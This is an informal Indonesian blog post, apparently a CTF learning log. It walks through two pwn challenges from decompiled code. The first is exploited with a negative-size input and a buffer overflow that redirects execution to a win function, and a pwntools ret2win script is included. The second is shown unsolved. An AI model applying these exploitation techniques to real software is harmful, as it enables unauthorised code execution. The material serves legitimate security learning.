Deskripsi
Sesuai judul lah ya, gw mau belajar apapun semalam tanpa AI, bentuk challenge gw ke diri sendiri. Mengapa gw lakukan challenge ini? Simply gw merasa something wrong dengan cara belajar gw. Nah langsung aja.
Belajar Pwn
Pwn Pertama
Topik pertama yaitu memory error. Ini adalah hasil disassemblynya :
__int64 challenge(){ int *v0; // rax char *v1; // rax int nbytes; // [rsp+2Ch] [rbp-24h] BYREF _QWORD nbytes_4[2]; // [rsp+30h] [rbp-20h] BYREF int v5; // [rsp+40h] [rbp-10h] int v6; // [rsp+44h] [rbp-Ch] void *buf; // [rsp+48h] [rbp-8h]
nbytes_4[0] = 0LL; nbytes_4[1] = 0LL; v5 = 0; buf = nbytes_4; nbytes = 0; printf("Payload size: "); __isoc99_scanf("%i", &nbytes); if ( nbytes > 20 ) { puts("Provided size is too large!"); exit(1); } printf("Send your payload (up to %i bytes)!\n", (unsigned int)nbytes); v6 = read(0, buf, (unsigned int)nbytes); if ( v6 < 0 ) { v0 = __errno_location(); v1 = strerror(*v0); printf("ERROR: Failed to read input -- %s!\n", v1); exit(1); } puts("Goodbye!"); return 0LL;}Program meminta 2 input.
printf("Payload size: "); __isoc99_scanf("%i", &nbytes);Input pertama yaitu potongan program di atas, input masuk dalam bentuk integer ke dalam variabel nbytes. Setelah itu, program akan melakukan validasi panjang bytes dari variabel nbytes atau input. Berikut :
if ( nbytes > 20 ) { puts("Provided size is too large!"); exit(1); }Jadi, program akan melakukan pengecekan apakah nbytes panjangnya melebihi 20, apabila iya program akan exit. Kalau input berhasil melewati validasi, masuk ke input kedua.
printf("Send your payload (up to %i bytes)!\n", (unsigned int)nbytes); v6 = read(0, buf, (unsigned int)nbytes);Input ini memasukkan input ke dalam variabel buf, dengan panjang sepanjang nbytes.
Awalnya saya bingung, ini bagaimana? Tapi saya kepikiran untuk ngetest integer overflow. Di bawah ini adalah ketika saya mencoba memasukkan input pertama dengan 20 :
Payload size: 20Send your payload (up to 20 bytes)!aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaGoodbye!Dan di bawah ini ketika saya mencoba memasukkan input dengan -1 :
Payload size: -1Send your payload (up to -1 bytes)!aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaGoodbye![1] 245 segmentation fault (core dumped)Dan ternyata core dumped. Nah kan kita udah tau nih klaau input pertama vuln dengan integer overflow. Dari input kedua, keliatan kalau ini vuln ret2win biasa. Untuk buffernya berikut :
_QWORD nbytes_4[2]; // [rsp+30h] [rbp-20h] BYREFKan di sampingnya ada kayak comment [rbp - 20h] gitukan, nah ngitungnya tinggal 0x20 + 8 byte (sesuain dengan arsitektur programnya, kalau 32bit berarti jumlah dengan 4byte).
Setelah dapetin paddingnya, kita cek dulu proteksinya pake checksec, dan ternyata PIE-nya mati, jadi tinggal ambil address dari gdb aja deh.
gdb ./challinfo funcTerus copy address dari win functionnya.
0x0000000000401a45 win0x0000000000401b4c challenge0x0000000000401c44 mainBerarti win addressnya ada di 0x0000000000401a45.
Nah berikut adalah exploitnya:
from pwn import *
context.binary = ELF('/chall)
p = process()payload = b"A" * (0x20 + 8) + p64(0x401a45)p.recvuntil(b"Payload size:")p.sendline(b"-1")p.recvuntil("Send your payload")p.send(payload)p.interactive()Dan challenge solved.
Pwn Kedua
Jir coeegggggg, badan gw lebih cepet pegel oaskaoakwowoawkaowk.
__int64 challenge(){ int *v0; // rax char *v1; // rax unsigned int v3; // [rsp+28h] [rbp-38h] BYREF unsigned int v4; // [rsp+2Ch] [rbp-34h] BYREF __int64 v5[2]; // [rsp+30h] [rbp-30h] BYREF int v6; // [rsp+40h] [rbp-20h] __int16 v7; // [rsp+44h] [rbp-1Ch] int v8; // [rsp+4Ch] [rbp-14h] size_t nbytes; // [rsp+50h] [rbp-10h] void *buf; // [rsp+58h] [rbp-8h]
v5[0] = 0LL; v5[1] = 0LL; v6 = 0; v7 = 0; buf = v5; nbytes = 0LL; printf("Number of payload records to send: "); __isoc99_scanf("%u", &v4); if ( !v4 ) __assert_fail("record_num > 0", "/chall.c", 0x49u, "chall"); printf("Size of each payload record: "); __isoc99_scanf("%u", &v3); if ( !v3 ) __assert_fail("record_size > 0", "/chall.c", 0x4Cu, "chall"); if ( v3 * v4 > 0x16 ) __assert_fail("record_size * record_num <= 22", "/chall.c", 0x4Du, "chall"); nbytes = v3 * (unsigned __int64)v4; printf("Send your payload (up to %lu bytes)!\n", nbytes); v8 = read(0, buf, nbytes); if ( v8 < 0 ) { v0 = __errno_location(); v1 = strerror(*v0); printf("ERROR: Failed to read input -- %s!\n", v1); exit(1); } puts("Goodbye!"); return 0LL;}Bentar yah gw istirahat bntr.
Kesimpulan
Kesimpulannya : lebih cepet ngantuk OAKWOKAOWKOAWOAWKOAWK